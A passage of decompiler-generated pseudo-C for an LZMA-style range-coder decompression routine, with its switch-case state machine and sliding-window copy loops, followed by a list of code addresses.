												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406bc4
0x00406bc4
0x00406bc8
0x00406be9
0x00406bf0
0x00406bf6
0x00406bfc
0x00406c0e
0x00406c14
0x00406c19
0x00000000
0x00406bca
0x00406bd0
0x00406f91
0x00406f91
0x00406f91
0x00406f94
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00407195
0x004071ab
0x004071b3
0x004071ba
0x004071bc
0x004071c3
0x004071c7
0x004071c7
0x00406ff2
0x00406ff9
0x00407001
0x00407004
0x00407007
0x00407007
0x0040700d
0x0040700d
0x004067a9
0x004067a9
0x004067a9
0x004067b2
0x00000000
0x00000000
0x004067b8
0x00000000
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d6
0x00000000
0x00000000
0x004067dc
